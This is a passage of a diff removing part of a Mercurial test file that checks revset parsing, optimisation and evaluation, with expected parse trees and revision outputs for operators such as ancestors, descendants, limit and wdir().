-  hg: parse error: extra got an unexpected keyword argument 'unknown'
-  [255]
-
-  $ try 'foo=bar|baz'
-  (keyvalue
-    (symbol 'foo')
-    (or
-      (list
-        (symbol 'bar')
-        (symbol 'baz'))))
-  hg: parse error: can't use a key-value pair in this context
-  [255]
-
- right-hand side should be optimized recursively
-
-  $ try --optimize 'foo=(not public())'
-  (keyvalue
-    (symbol 'foo')
-    (group
-      (not
-        (func
-          (symbol 'public')
-          None))))
-  * optimized:
-  (keyvalue
-    (symbol 'foo')
-    (func
-      (symbol '_notpublic')
-      None))
-  hg: parse error: can't use a key-value pair in this context
-  [255]
-
-relation-subscript operator has the highest binding strength (as function call):
-
-  $ hg debugrevspec -p parsed 'tip:tip^#generations[-1]'
-  * parsed:
-  (range
-    (symbol 'tip')
-    (relsubscript
-      (parentpost
-        (symbol 'tip'))
-      (symbol 'generations')
-      (negate
-        (symbol '1'))))
-  9
-  8
-  7
-  6
-  5
-  4
-
-  $ hg debugrevspec -p parsed --no-show-revs 'not public()#generations[0]'
-  * parsed:
-  (not
-    (relsubscript
-      (func
-        (symbol 'public')
-        None)
-      (symbol 'generations')
-      (symbol '0')))
-
-left-hand side of relation-subscript operator should be optimized recursively:
-
-  $ hg debugrevspec -p analyzed -p optimized --no-show-revs \
-  > '(not public())#generations[0]'
-  * analyzed:
-  (relsubscript
-    (not
-      (func
-        (symbol 'public')
-        None))
-    (symbol 'generations')
-    (symbol '0'))
-  * optimized:
-  (relsubscript
-    (func
-      (symbol '_notpublic')
-      None)
-    (symbol 'generations')
-    (symbol '0'))
-
-resolution of subscript and relation-subscript ternary operators:
-
-  $ hg debugrevspec -p analyzed 'tip[0]'
-  * analyzed:
-  (subscript
-    (symbol 'tip')
-    (symbol '0'))
-  hg: parse error: can't use a subscript in this context
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel[0]'
-  * analyzed:
-  (relsubscript
-    (symbol 'tip')
-    (symbol 'rel')
-    (symbol '0'))
-  hg: parse error: unknown identifier: rel
-  [255]
-
-  $ hg debugrevspec -p analyzed '(tip#rel)[0]'
-  * analyzed:
-  (subscript
-    (relation
-      (symbol 'tip')
-      (symbol 'rel'))
-    (symbol '0'))
-  hg: parse error: can't use a subscript in this context
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel[0][1]'
-  * analyzed:
-  (subscript
-    (relsubscript
-      (symbol 'tip')
-      (symbol 'rel')
-      (symbol '0'))
-    (symbol '1'))
-  hg: parse error: can't use a subscript in this context
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel0#rel1[1]'
-  * analyzed:
-  (relsubscript
-    (relation
-      (symbol 'tip')
-      (symbol 'rel0'))
-    (symbol 'rel1')
-    (symbol '1'))
-  hg: parse error: unknown identifier: rel1
-  [255]
-
-  $ hg debugrevspec -p analyzed 'tip#rel0[0]#rel1[1]'
-  * analyzed:
-  (relsubscript
-    (relsubscript
-      (symbol 'tip')
-      (symbol 'rel0')
-      (symbol '0'))
-    (symbol 'rel1')
-    (symbol '1'))
-  hg: parse error: unknown identifier: rel1
-  [255]
-
-parse errors of relation, subscript and relation-subscript operators:
-
-  $ hg debugrevspec '[0]'
-  hg: parse error at 0: not a prefix: [
-  [255]
-  $ hg debugrevspec '.#'
-  hg: parse error at 2: not a prefix: end
-  [255]
-  $ hg debugrevspec '#rel'
-  hg: parse error at 0: not a prefix: #
-  [255]
-  $ hg debugrevspec '.#rel[0'
-  hg: parse error at 7: unexpected token: end
-  [255]
-  $ hg debugrevspec '.]'
-  hg: parse error at 1: invalid token
-  [255]
-
-  $ hg debugrevspec '.#generations[a]'
-  hg: parse error: relation subscript must be an integer
-  [255]
-  $ hg debugrevspec '.#generations[1-2]'
-  hg: parse error: relation subscript must be an integer
-  [255]
-
-parsed tree at stages:
-
-  $ hg debugrevspec -p all '()'
-  * parsed:
-  (group
-    None)
-  * expanded:
-  (group
-    None)
-  * concatenated:
-  (group
-    None)
-  * analyzed:
-  None
-  * optimized:
-  None
-  hg: parse error: missing argument
-  [255]
-
-  $ hg debugrevspec --no-optimized -p all '()'
-  * parsed:
-  (group
-    None)
-  * expanded:
-  (group
-    None)
-  * concatenated:
-  (group
-    None)
-  * analyzed:
-  None
-  hg: parse error: missing argument
-  [255]
-
-  $ hg debugrevspec -p parsed -p analyzed -p optimized '(0|1)-1'
-  * parsed:
-  (minus
-    (group
-      (or
-        (list
-          (symbol '0')
-          (symbol '1'))))
-    (symbol '1'))
-  * analyzed:
-  (and
-    (or
-      (list
-        (symbol '0')
-        (symbol '1')))
-    (not
-      (symbol '1')))
-  * optimized:
-  (difference
-    (func
-      (symbol '_list')
-      (string '0\x001'))
-    (symbol '1'))
-  0
-
-  $ hg debugrevspec -p unknown '0'
-  abort: invalid stage name: unknown
-  [255]
-
-  $ hg debugrevspec -p all --optimize '0'
-  abort: cannot use --optimize with --show-stage
-  [255]
-
-verify optimized tree:
-
-  $ hg debugrevspec --verify '0|1'
-
-  $ hg debugrevspec --verify -v -p analyzed -p optimized 'r3232() & 2'
-  * analyzed:
-  (and
-    (func
-      (symbol 'r3232')
-      None)
-    (symbol '2'))
-  * optimized:
-  (andsmally
-    (func
-      (symbol 'r3232')
-      None)
-    (symbol '2'))
-  * analyzed set:
-  <baseset [2]>
-  * optimized set:
-  <baseset [2, 2]>
-  --- analyzed
-  +++ optimized
-   2
-  +2
-  [1]
-
-  $ hg debugrevspec --no-optimized --verify-optimized '0'
-  abort: cannot use --verify-optimized with --no-optimized
-  [255]
-
-Test that symbols only get parsed as functions if there's an opening
-parenthesis.
-
-  $ hg book only -r 9
-  $ log 'only(only)'   # Outer "only" is a function, inner "only" is the bookmark
-  8
-  9
-
-':y' behaves like '0:y', but can't be rewritten as such since the revision '0'
-may be hidden (issue5385)
-
-  $ try -p parsed -p analyzed ':'
-  * parsed:
-  (rangeall
-    None)
-  * analyzed:
-  (rangeall
-    None)
-  * set:
-  <spanset+ 0:10>
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ try -p analyzed ':1'
-  * analyzed:
-  (rangepre
-    (symbol '1'))
-  * set:
-  <spanset+ 0:2>
-  0
-  1
-  $ try -p analyzed ':(1|2)'
-  * analyzed:
-  (rangepre
-    (or
-      (list
-        (symbol '1')
-        (symbol '2'))))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-  $ try -p analyzed ':(1&2)'
-  * analyzed:
-  (rangepre
-    (and
-      (symbol '1')
-      (symbol '2')))
-  * set:
-  <baseset []>
-
-infix/suffix resolution of ^ operator (issue2884):
-
- x^:y means (x^):y
-
-  $ try '1^:2'
-  (range
-    (parentpost
-      (symbol '1'))
-    (symbol '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try '1^::2'
-  (dagrange
-    (parentpost
-      (symbol '1'))
-    (symbol '2'))
-  * set:
-  <baseset+ [0, 1, 2]>
-  0
-  1
-  2
-
-  $ try '9^:'
-  (rangepost
-    (parentpost
-      (symbol '9')))
-  * set:
-  <spanset+ 8:10>
-  8
-  9
-
- x^:y should be resolved before omitting group operators
-
-  $ try '1^(:2)'
-  (parent
-    (symbol '1')
-    (group
-      (rangepre
-        (symbol '2'))))
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-
- x^:y should be resolved recursively
-
-  $ try 'sort(1^:2)'
-  (func
-    (symbol 'sort')
-    (range
-      (parentpost
-        (symbol '1'))
-      (symbol '2')))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try '(3^:4)^:2'
-  (range
-    (parentpost
-      (group
-        (range
-          (parentpost
-            (symbol '3'))
-          (symbol '4'))))
-    (symbol '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try '(3^::4)^::2'
-  (dagrange
-    (parentpost
-      (group
-        (dagrange
-          (parentpost
-            (symbol '3'))
-          (symbol '4'))))
-    (symbol '2'))
-  * set:
-  <baseset+ [0, 1, 2]>
-  0
-  1
-  2
-
-  $ try '(9^:)^:'
-  (rangepost
-    (parentpost
-      (group
-        (rangepost
-          (parentpost
-            (symbol '9'))))))
-  * set:
-  <spanset+ 4:10>
-  4
-  5
-  6
-  7
-  8
-  9
-
- x^ in alias should also be resolved
-
-  $ try 'A' --config 'revsetalias.A=1^:2'
-  (symbol 'A')
-  * expanded:
-  (range
-    (parentpost
-      (symbol '1'))
-    (symbol '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
-  $ try 'A:2' --config 'revsetalias.A=1^'
-  (range
-    (symbol 'A')
-    (symbol '2'))
-  * expanded:
-  (range
-    (parentpost
-      (symbol '1'))
-    (symbol '2'))
-  * set:
-  <spanset+ 0:3>
-  0
-  1
-  2
-
- but not beyond the boundary of alias expansion, because the resolution should
- be made at the parsing stage
-
-  $ try '1^A' --config 'revsetalias.A=:2'
-  (parent
-    (symbol '1')
-    (symbol 'A'))
-  * expanded:
-  (parent
-    (symbol '1')
-    (rangepre
-      (symbol '2')))
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-
-ancestor can accept 0 or more arguments
-
-  $ log 'ancestor()'
-  $ log 'ancestor(1)'
-  1
-  $ log 'ancestor(4,5)'
-  1
-  $ log 'ancestor(4,5) and 4'
-  $ log 'ancestor(0,0,1,3)'
-  0
-  $ log 'ancestor(3,1,5,3,5,1)'
-  1
-  $ log 'ancestor(0,1,3,5)'
-  0
-  $ log 'ancestor(1,2,3,4,5)'
-  1
-
-test ancestors
-
-  $ hg log -G -T '{rev}\n' --config experimental.graphshorten=True
-  @  9
-  o  8
-  | o  7
-  | o  6
-  |/|
-  | o  5
-  o |  4
-  | o  3
-  o |  2
-  |/
-  o  1
-  o  0
-
-  $ log 'ancestors(5)'
-  0
-  1
-  3
-  5
-  $ log 'ancestor(ancestors(5))'
-  0
-  $ log '::r3232()'
-  0
-  1
-  2
-  3
-
-test ancestors with depth limit
-
- (depth=0 selects the node itself)
-
-  $ log 'reverse(ancestors(9, depth=0))'
-  9
-
- (interleaved: '4' would be missing if heap queue were higher depth first)
-
-  $ log 'reverse(ancestors(8:9, depth=1))'
-  9
-  8
-  4
-
- (interleaved: '2' would be missing if heap queue were higher depth first)
-
-  $ log 'reverse(ancestors(7+8, depth=2))'
-  8
-  7
-  6
-  5
-  4
-  2
-
- (walk example above by separate queries)
-
-  $ log 'reverse(ancestors(8, depth=2)) + reverse(ancestors(7, depth=2))'
-  8
-  4
-  2
-  7
-  6
-  5
-
- (walk 2nd and 3rd ancestors)
-
-  $ log 'reverse(ancestors(7, depth=3, startdepth=2))'
-  5
-  4
-  3
-  2
-
- (interleaved: '4' would be missing if higher-depth ancestors weren't scanned)
-
-  $ log 'reverse(ancestors(7+8, depth=2, startdepth=2))'
-  5
-  4
-  2
-
- (note that 'ancestors(x, depth=y, startdepth=z)' does not identical to
- 'ancestors(x, depth=y) - ancestors(x, depth=z-1)' because a node may have
- multiple depths)
-
-  $ log 'reverse(ancestors(7+8, depth=2) - ancestors(7+8, depth=1))'
-  5
-  2
-
-test bad arguments passed to ancestors()
-
-  $ log 'ancestors(., depth=-1)'
-  hg: parse error: negative depth
-  [255]
-  $ log 'ancestors(., depth=foo)'
-  hg: parse error: ancestors expects an integer depth
-  [255]
-
-test descendants
-
-  $ hg log -G -T '{rev}\n' --config experimental.graphshorten=True
-  @  9
-  o  8
-  | o  7
-  | o  6
-  |/|
-  | o  5
-  o |  4
-  | o  3
-  o |  2
-  |/
-  o  1
-  o  0
-
- (null is ultimate root and has optimized path)
-
-  $ log 'null:4 & descendants(null)'
-  -1
-  0
-  1
-  2
-  3
-  4
-
- (including merge)
-
-  $ log ':8 & descendants(2)'
-  2
-  4
-  6
-  7
-  8
-
- (multiple roots)
-
-  $ log ':8 & descendants(2+5)'
-  2
-  4
-  5
-  6
-  7
-  8
-
-test descendants with depth limit
-
- (depth=0 selects the node itself)
-
-  $ log 'descendants(0, depth=0)'
-  0
-  $ log 'null: & descendants(null, depth=0)'
-  -1
-
- (p2 = null should be ignored)
-
-  $ log 'null: & descendants(null, depth=2)'
-  -1
-  0
-  1
-
- (multiple paths: depth(6) = (2, 3))
-
-  $ log 'descendants(1+3, depth=2)'
-  1
-  2
-  3
-  4
-  5
-  6
-
- (multiple paths: depth(5) = (1, 2), depth(6) = (2, 3))
-
-  $ log 'descendants(3+1, depth=2, startdepth=2)'
-  4
-  5
-  6
-
- (multiple depths: depth(6) = (0, 2, 4), search for depth=2)
-
-  $ log 'descendants(0+3+6, depth=3, startdepth=1)'
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-
- (multiple depths: depth(6) = (0, 4), no match)
-
-  $ log 'descendants(0+6, depth=3, startdepth=1)'
-  1
-  2
-  3
-  4
-  5
-  7
-
-test ancestors/descendants relation subscript:
-
-  $ log 'tip#generations[0]'
-  9
-  $ log '.#generations[-1]'
-  8
-  $ log '.#g[(-1)]'
-  8
-
-  $ hg debugrevspec -p parsed 'roots(:)#g[2]'
-  * parsed:
-  (relsubscript
-    (func
-      (symbol 'roots')
-      (rangeall
-        None))
-    (symbol 'g')
-    (symbol '2'))
-  2
-  3
-
-test author
-
-  $ log 'author(bob)'
-  2
-  $ log 'author("re:bob|test")'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ log 'author(r"re:\S")'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ log 'branch(é)'
-  8
-  9
-  $ log 'branch(a)'
-  0
-  $ hg log -r 'branch("re:a")' --template '{rev} {branch}\n'
-  0 a
-  2 a-b-c-
-  3 +a+b+c+
-  4 -a-b-c-
-  5 !a/b/c/
-  6 _a_b_c_
-  7 .a.b.c.
-  $ log 'children(ancestor(4,5))'
-  2
-  3
-
-  $ log 'children(4)'
-  6
-  8
-  $ log 'children(null)'
-  0
-
-  $ log 'closed()'
-  $ log 'contains(a)'
-  0
-  1
-  3
-  5
-  $ log 'contains("../repo/a")'
-  0
-  1
-  3
-  5
-  $ log 'desc(B)'
-  5
-  $ hg log -r 'desc(r"re:S?u")' --template "{rev} {desc|firstline}\n"
-  5 5 bug
-  6 6 issue619
-  $ log 'descendants(2 or 3)'
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
-  $ log 'file("b*")'
-  1
-  4
-  $ log 'filelog("b")'
-  1
-  4
-  $ log 'filelog("../repo/b")'
-  1
-  4
-  $ log 'follow()'
-  0
-  1
-  2
-  4
-  8
-  9
-  $ log 'grep("issue\d+")'
-  6
-  $ try 'grep("(")' # invalid regular expression
-  (func
-    (symbol 'grep')
-    (string '('))
-  hg: parse error: invalid match pattern: unbalanced parenthesis
-  [255]
-  $ try 'grep("\bissue\d+")'
-  (func
-    (symbol 'grep')
-    (string '\x08issue\\d+'))
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <grep '\x08issue\\d+'>>
-  $ try 'grep(r"\bissue\d+")'
-  (func
-    (symbol 'grep')
-    (string '\\bissue\\d+'))
-  * set:
-  <filteredset
-    <fullreposet+ 0:10>,
-    <grep '\\bissue\\d+'>>
-  6
-  $ try 'grep(r"\")'
-  hg: parse error at 7: unterminated string
-  [255]
-  $ log 'head()'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  9
-  $ log 'heads(6::)'
-  7
-  $ log 'keyword(issue)'
-  6
-  $ log 'keyword("test a")'
-
-Test first (=limit) and last
-
-  $ log 'limit(head(), 1)'
-  0
-  $ log 'limit(author("re:bob|test"), 3, 5)'
-  5
-  6
-  7
-  $ log 'limit(author("re:bob|test"), offset=6)'
-  6
-  $ log 'limit(author("re:bob|test"), offset=10)'
-  $ log 'limit(all(), 1, -1)'
-  hg: parse error: negative offset
-  [255]
-  $ log 'limit(all(), -1)'
-  hg: parse error: negative number to select
-  [255]
-  $ log 'limit(all(), 0)'
-
-  $ log 'last(all(), -1)'
-  hg: parse error: negative number to select
-  [255]
-  $ log 'last(all(), 0)'
-  $ log 'last(all(), 1)'
-  9
-  $ log 'last(all(), 2)'
-  8
-  9
-
-Test smartset.slice() by first/last()
-
- (using unoptimized set, filteredset as example)
-
-  $ hg debugrevspec --no-show-revs -s '0:7 & branch("re:")'
-  * set:
-  <filteredset
-    <spanset+ 0:8>,
-    <branch 're:'>>
-  $ log 'limit(0:7 & branch("re:"), 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(7:0 & branch("re:"), 3, 4)'
-  3
-  2
-  1
-  $ log 'last(0:7 & branch("re:"), 2)'
-  6
-  7
-
- (using baseset)
-
-  $ hg debugrevspec --no-show-revs -s 0+1+2+3+4+5+6+7
-  * set:
-  <baseset [0, 1, 2, 3, 4, 5, 6, 7]>
-  $ hg debugrevspec --no-show-revs -s 0::7
-  * set:
-  <baseset+ [0, 1, 2, 3, 4, 5, 6, 7]>
-  $ log 'limit(0+1+2+3+4+5+6+7, 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(sort(0::7, rev), 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(sort(0::7, -rev), 3, 4)'
-  3
-  2
-  1
-  $ log 'last(sort(0::7, rev), 2)'
-  6
-  7
-  $ hg debugrevspec -s 'limit(sort(0::7, rev), 3, 6)'
-  * set:
-  <baseset+ [6, 7]>
-  6
-  7
-  $ hg debugrevspec -s 'limit(sort(0::7, rev), 3, 9)'
-  * set:
-  <baseset+ []>
-  $ hg debugrevspec -s 'limit(sort(0::7, -rev), 3, 6)'
-  * set:
-  <baseset- [0, 1]>
-  1
-  0
-  $ hg debugrevspec -s 'limit(sort(0::7, -rev), 3, 9)'
-  * set:
-  <baseset- []>
-  $ hg debugrevspec -s 'limit(0::7, 0)'
-  * set:
-  <baseset+ []>
-
- (using spanset)
-
-  $ hg debugrevspec --no-show-revs -s 0:7
-  * set:
-  <spanset+ 0:8>
-  $ log 'limit(0:7, 3, 4)'
-  4
-  5
-  6
-  $ log 'limit(7:0, 3, 4)'
-  3
-  2
-  1
-  $ log 'limit(0:7, 3, 6)'
-  6
-  7
-  $ log 'limit(7:0, 3, 6)'
-  1
-  0
-  $ log 'last(0:7, 2)'
-  6
-  7
-  $ hg debugrevspec -s 'limit(0:7, 3, 6)'
-  * set:
-  <spanset+ 6:8>
-  6
-  7
-  $ hg debugrevspec -s 'limit(0:7, 3, 9)'
-  * set:
-  <spanset+ 8:8>
-  $ hg debugrevspec -s 'limit(7:0, 3, 6)'
-  * set:
-  <spanset- 0:2>
-  1
-  0
-  $ hg debugrevspec -s 'limit(7:0, 3, 9)'
-  * set:
-  <spanset- 0:0>
-  $ hg debugrevspec -s 'limit(0:7, 0)'
-  * set:
-  <spanset+ 0:0>
-
-Test order of first/last revisions
-
-  $ hg debugrevspec -s 'first(4:0, 3) & 3:'
-  * set:
-  <filteredset
-    <spanset- 2:5>,
-    <spanset+ 3:10>>
-  4
-  3
-
-  $ hg debugrevspec -s '3: & first(4:0, 3)'
-  * set:
-  <filteredset
-    <spanset+ 3:10>,
-    <spanset- 2:5>>
-  3
-  4
-
-  $ hg debugrevspec -s 'last(4:0, 3) & :1'
-  * set:
-  <filteredset
-    <spanset- 0:3>,
-    <spanset+ 0:2>>
-  1
-  0
-
-  $ hg debugrevspec -s ':1 & last(4:0, 3)'
-  * set:
-  <filteredset
-    <spanset+ 0:2>,
-    <spanset+ 0:3>>
-  0
-  1
-
-Test scmutil.revsingle() should return the last revision
-
-  $ hg debugrevspec -s 'last(0::)'
-  * set:
-  <baseset slice=0:1
-    <generatorset->>
-  9
-  $ hg identify -r '0::' --num
-  9
-
-Test matching
-
-  $ log 'matching(6)'
-  6
-  $ log 'matching(6:7, "phase parents user date branch summary files description substate")'
-  6
-  7
-
-Testing min and max
-
-max: simple
-
-  $ log 'max(contains(a))'
-  5
-
-max: simple on unordered set)
-
-  $ log 'max((4+0+2+5+7) and contains(a))'
-  5
-
-max: no result
-
-  $ log 'max(contains(stringthatdoesnotappearanywhere))'
-
-max: no result on unordered set
-
-  $ log 'max((4+0+2+5+7) and contains(stringthatdoesnotappearanywhere))'
-
-min: simple
-
-  $ log 'min(contains(a))'
-  0
-
-min: simple on unordered set
-
-  $ log 'min((4+0+2+5+7) and contains(a))'
-  0
-
-min: empty
-
-  $ log 'min(contains(stringthatdoesnotappearanywhere))'
-
-min: empty on unordered set
-
-  $ log 'min((4+0+2+5+7) and contains(stringthatdoesnotappearanywhere))'
-
-
-  $ log 'merge()'
-  6
-  $ log 'branchpoint()'
-  1
-  4
-  $ log 'modifies(b)'
-  4
-  $ log 'modifies("path:b")'
-  4
-  $ log 'modifies("*")'
-  4
-  6
-  $ log 'modifies("set:modified()")'
-  4
-  $ log 'id(5)'
-  2
-  $ log 'only(9)'
-  8
-  9
-  $ log 'only(8)'
-  8
-  $ log 'only(9, 5)'
-  2
-  4
-  8
-  9
-  $ log 'only(7 + 9, 5 + 2)'
-  4
-  6
-  7
-  8
-  9
-
-Test empty set input
-  $ log 'only(p2())'
-  $ log 'only(p1(), p2())'
-  0
-  1
-  2
-  4
-  8
-  9
-
-Test '%' operator
-
-  $ log '9%'
-  8
-  9
-  $ log '9%5'
-  2
-  4
-  8
-  9
-  $ log '(7 + 9)%(5 + 2)'
-  4
-  6
-  7
-  8
-  9
-
-Test operand of '%' is optimized recursively (issue4670)
-
-  $ try --optimize '8:9-8%'
-  (onlypost
-    (minus
-      (range
-        (symbol '8')
-        (symbol '9'))
-      (symbol '8')))
-  * optimized:
-  (func
-    (symbol 'only')
-    (difference
-      (range
-        (symbol '8')
-        (symbol '9'))
-      (symbol '8')))
-  * set:
-  <baseset+ [8, 9]>
-  8
-  9
-  $ try --optimize '(9)%(5)'
-  (only
-    (group
-      (symbol '9'))
-    (group
-      (symbol '5')))
-  * optimized:
-  (func
-    (symbol 'only')
-    (list
-      (symbol '9')
-      (symbol '5')))
-  * set:
-  <baseset+ [2, 4, 8, 9]>
-  2
-  4
-  8
-  9
-
-Test the order of operations
-
-  $ log '7 + 9%5 + 2'
-  7
-  2
-  4
-  8
-  9
-
-Test explicit numeric revision
-  $ log 'rev(-2)'
-  $ log 'rev(-1)'
-  -1
-  $ log 'rev(0)'
-  0
-  $ log 'rev(9)'
-  9
-  $ log 'rev(10)'
-  $ log 'rev(tip)'
-  hg: parse error: rev expects a number
-  [255]
-
-Test hexadecimal revision
-  $ log 'id(2)'
-  abort: 00changelog.i@2: ambiguous identifier!
-  [255]
-  $ log 'id(23268)'
-  4
-  $ log 'id(2785f51eece)'
-  0
-  $ log 'id(d5d0dcbdc4d9ff5dbb2d336f32f0bb561c1a532c)'
-  8
-  $ log 'id(d5d0dcbdc4a)'
-  $ log 'id(d5d0dcbdc4w)'
-  $ log 'id(d5d0dcbdc4d9ff5dbb2d336f32f0bb561c1a532d)'
-  $ log 'id(d5d0dcbdc4d9ff5dbb2d336f32f0bb561c1a532q)'
-  $ log 'id(1.0)'
-  $ log 'id(xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)'
-
-Test null revision
-  $ log '(null)'
-  -1
-  $ log '(null:0)'
-  -1
-  0
-  $ log '(0:null)'
-  0
-  -1
-  $ log 'null::0'
-  -1
-  0
-  $ log 'null:tip - 0:'
-  -1
-  $ log 'null: and null::' | head -1
-  -1
-  $ log 'null: or 0:' | head -2
-  -1
-  0
-  $ log 'ancestors(null)'
-  -1
-  $ log 'reverse(null:)' | tail -2
-  0
-  -1
-  $ log 'first(null:)'
-  -1
-  $ log 'min(null:)'
-BROKEN: should be '-1'
-  $ log 'tip:null and all()' | tail -2
-  1
-  0
-
-Test working-directory revision
-  $ hg debugrevspec 'wdir()'
-  2147483647
-  $ hg debugrevspec 'wdir()^'
-  9
-  $ hg up 7
-  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
-  $ hg debugrevspec 'wdir()^'
-  7
-  $ hg debugrevspec 'wdir()^0'
-  2147483647
-  $ hg debugrevspec 'wdir()~3'
-  5
-  $ hg debugrevspec 'ancestors(wdir())'
-  0
-  1
-  2
-  3
-  4
-  5
-  6
-  7
-  2147483647
-  $ hg debugrevspec 'wdir()~0'
-  2147483647
-  $ hg debugrevspec 'p1(wdir())'
-  7
-  $ hg debugrevspec 'p2(wdir())'
-  $ hg debugrevspec 'parents(wdir())'
-  7
-  $ hg debugrevspec 'wdir()^1'
-  7
-  $ hg debugrevspec 'wdir()^2'
-  $ hg debugrevspec 'wdir()^3'
-  hg: parse error: ^ expects a number 0, 1, or 2
-  [255]
-For tests consistency
-  $ hg up 9
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
-  $ hg debugrevspec 'tip or wdir()'
-  9
-  2147483647
-  $ hg debugrevspec '0:tip and wdir()'
-  $ log '0:wdir()' | tail -3
-  8
-  9
-  2147483647
-  $ log 'wdir():0' | head -3
-  2147483647
-  9
-  8
-  $ log 'wdir():wdir()'
-  2147483647
-  $ log '(all() + wdir()) & min(. + wdir())'
-  9
-  $ log '(all() + wdir()) & max(. + wdir())'
-  2147483647
-  $ log 'first(wdir() + .)'
-  2147483647
-  $ log 'last(. + wdir())'
-  2147483647
-
-Test working-directory integer revision and node id
-(BUG: '0:wdir()' is still needed to populate wdir revision)
-
-  $ hg debugrevspec '0:wdir() & 2147483647'
-  2147483647
-  $ hg debugrevspec '0:wdir() & rev(2147483647)'
-  2147483647
-  $ hg debugrevspec '0:wdir() & ffffffffffffffffffffffffffffffffffffffff'
-  2147483647
-  $ hg debugrevspec '0:wdir() & ffffffffffff'
-  2147483647
-  $ hg debugrevspec '0:wdir() & id(ffffffffffffffffffffffffffffffffffffffff)'
-  2147483647
-  $ hg debugrevspec '0:wdir() & id(ffffffffffff)'
-  2147483647
-
-  $ cd ..
-
-Test short 'ff...' hash collision
-(BUG: '0:wdir()' is still needed to populate wdir revision)
-
-  $ hg init wdir-hashcollision
-  $ cd wdir-hashcollision
-  $ cat <<EOF >> .hg/hgrc
-  > [experimental]
-  > stabilization = createmarkers
-  > EOF
-  $ echo 0 > a
-  $ hg ci -qAm 0
-  $ for i in 2463 2961 6726 78127; do
-  >   hg up -q 0
-  >   echo $i > a
-  >   hg ci -qm $i
-  > done
-  $ hg up -q null
-  $ hg log -r '0:wdir()' -T '{rev}:{node} {shortest(node, 3)}\n'
-  0:b4e73ffab476aa0ee32ed81ca51e07169844bc6a b4e
-  1:fffbae3886c8fbb2114296380d276fd37715d571 fffba
-  2:fffb6093b00943f91034b9bdad069402c834e572 fffb6
-  3:fff48a9b9de34a4d64120c29548214c67980ade3 fff4
-  4:ffff85cff0ff78504fcdc3c0bc10de0c65379249 ffff8
-  2147483647:ffffffffffffffffffffffffffffffffffffffff fffff
-  $ hg debugobsolete fffbae3886c8fbb2114296380d276fd37715d571
-  obsoleted 1 changesets
-
-  $ hg debugrevspec '0:wdir() & fff'
-  abort: 00changelog.i@fff: ambiguous identifier!
-  [255]
-  $ hg debugrevspec '0:wdir() & ffff'
-  abort: 00changelog.i@ffff: ambiguous identifier!
-  [255]
-  $ hg debugrevspec '0:wdir() & fffb'
-  abort: 00changelog.i@fffb: ambiguous identifier!
-  [255]
-BROKEN should be '2' (node lookup uses unfiltered repo since dc25ed84bee8)
-  $ hg debugrevspec '0:wdir() & id(fffb)'
-  2
-  $ hg debugrevspec '0:wdir() & ffff8'
-  4
-  $ hg debugrevspec '0:wdir() & fffff'
-  2147483647
-
-  $ cd ..
-
-Test branch() with wdir()
-
-  $ cd repo
-
-  $ log '0:wdir() & branch("literal:é")'
-  8
-  9
-  2147483647
-  $ log '0:wdir() & branch("re:é")'
-  8
-  9
-  2147483647
-  $ log '0:wdir() & branch("re:^a")'
-  0
-  2
-  $ log '0:wdir() & branch(8)'
-  8
-  9
-  2147483647
-
-branch(wdir()) returns all revisions belonging to the working branch. The wdir
-itself isn't returned unless it is explicitly populated.
-
-  $ log 'branch(wdir())'
-  8
-  9
-  $ log '0:wdir() & branch(wdir())'
-  8
-  9
-  2147483647
-
-  $ log 'outgoing()'
-  8
-  9
-  $ log 'outgoing("../remote1")'
-  8
-  9
-  $ log 'outgoing("../remote2")'
-  3
-  5
-  6
-  7
-  9
-  $ log 'p1(merge())'
-  5
-  $ log 'p2(merge())'
-  4
-  $ log 'parents(merge())'
-  4
-  5
-  $ log 'p1(branchpoint())'
-  0
-  2
-  $ log 'p2(branchpoint())'
-  $ log 'parents(branchpoint())'
-  0
-  2
-  $ log 'removes(a)'
-  2
-  6
-  $ log 'roots(all())'
-  0
-  $ log 'reverse(2 or 3 or 4 or 5)'
-  5
-  4
-  3
-  2
-  $ log 'reverse(all())'
-  9
-  8
-  7
-  6
-  5
-  4
-  3
-  2
-  1
-  0
-  $ log 'reverse(all()) & filelog(b)'
-  4
-  1
-  $ log 'rev(5)'
-  5
-  $ log 'sort(limit(reverse(all()), 3))'
-  7
-  8
-  9
-  $ log 'sort(2 or 3 or 4 or 5, date)'
-  2
-  3
-  5
-  4
-  $ log 'tagged()'
-  6
-  $ log 'tag()'
-  6
-  $ log 'tag(1.0)'
-  6
-  $ log 'tag(tip)'
-  9
-
-Test order of revisions in compound expression
-----------------------------------------------
-
-The general rule is that only the outermost (= leftmost) predicate can
-enforce its ordering requirement. The other predicates should take the
-ordering defined by it.
-
- 'A & B' should follow the order of 'A':
-
-  $ log '2:0 & 0::2'
-  2
-  1
-  0
-
- 'head()' combines sets in right order:
-
-  $ log '2:0 & head()'
-  2
-  1
-  0
-
- 'x:y' takes ordering parameter into account:
-
-  $ try -p optimized '3:0 & 0:3 & not 2:1'
-  * optimized:
-  (difference
-    (and
-      (range
-        (symbol '3')
-        (symbol '0'))
-      (range
-        (symbol '0')
-        (symbol '3')))
-    (range
-      (symbol '2')
-      (symbol '1')))
-  * set:
-  <filteredset
